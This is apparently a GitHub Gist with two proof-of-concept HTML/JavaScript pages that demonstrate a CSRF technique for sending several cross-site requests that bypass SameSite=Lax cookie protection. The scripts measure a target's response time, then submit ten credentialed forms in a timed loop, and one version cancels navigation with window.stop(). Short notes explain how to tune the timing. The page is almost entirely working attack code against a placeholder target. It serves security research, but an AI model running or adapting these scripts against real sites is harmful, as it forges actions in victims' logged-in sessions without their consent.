Last active
April 16, 2025 12:11
-
-
Save JorianWoltjer/b9163fe616319db8fe570b4ef9c02291 to your computer and use it in GitHub Desktop.
PoC's for CSRF multiple SameSite=Lax requests (https://x.com/J0R1AN/status/1842139861295169836)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <body></body> | |
| <script> | |
| (async () => { | |
| const target = "https://XXX.ngrok-free.app"; | |
| // Warmup | |
| await fetch(target, { | |
| mode: "no-cors", | |
| credentials: "include", | |
| }); | |
| // Measurement | |
| var start = performance.now(); | |
| await fetch(target, { | |
| mode: "no-cors", | |
| credentials: "include", | |
| }); | |
| const time = performance.now() - start; | |
| console.log("The request took %d ms.", time); | |
| // Attack | |
| const interval = time * 0.8; | |
| console.log("Interval: %d ms.", interval); | |
| let timeout = interval; | |
| for (let i = 0; i < 10; i++) { | |
| const form = document.createElement("form"); | |
| form.action = `${target}/form/${i}`; | |
| form.method = "get"; | |
| document.body.appendChild(form); | |
| form.submit(); // Cancel previous form by overwriting it with a new one | |
| await new Promise((resolve) => setTimeout(resolve, interval)); // sleep | |
| } | |
| })(); | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <body></body> | |
| <script> | |
| (async () => { | |
| const target = "https://XXX.ngrok-free.app"; | |
| // Warmup | |
| await fetch(target, { | |
| mode: "no-cors", | |
| credentials: "include", | |
| }); | |
| // Measurement | |
| var start = performance.now(); | |
| await fetch(target, { | |
| mode: "no-cors", | |
| credentials: "include", | |
| }); | |
| const time = performance.now() - start; | |
| console.log("The request took %d ms.", time); | |
| // Attack | |
| const interval = time * 0.8; | |
| console.log("Interval: %d ms.", interval); | |
| let timeout = interval; | |
| for (let i = 0; i < 10; i++) { | |
| const form = document.createElement("form"); | |
| form.action = `${target}/form/${i}`; | |
| form.method = "get"; | |
| document.body.appendChild(form); | |
| form.submit(); | |
| await new Promise((resolve) => setTimeout(resolve, interval)); // sleep | |
| window.stop(); // Cancel navigation | |
| } | |
| })(); | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If the counter skips a value and only requests the last URL, your timing is too fast.
If the counter stops early and only requests URLs up to a certain point your timing is too slow.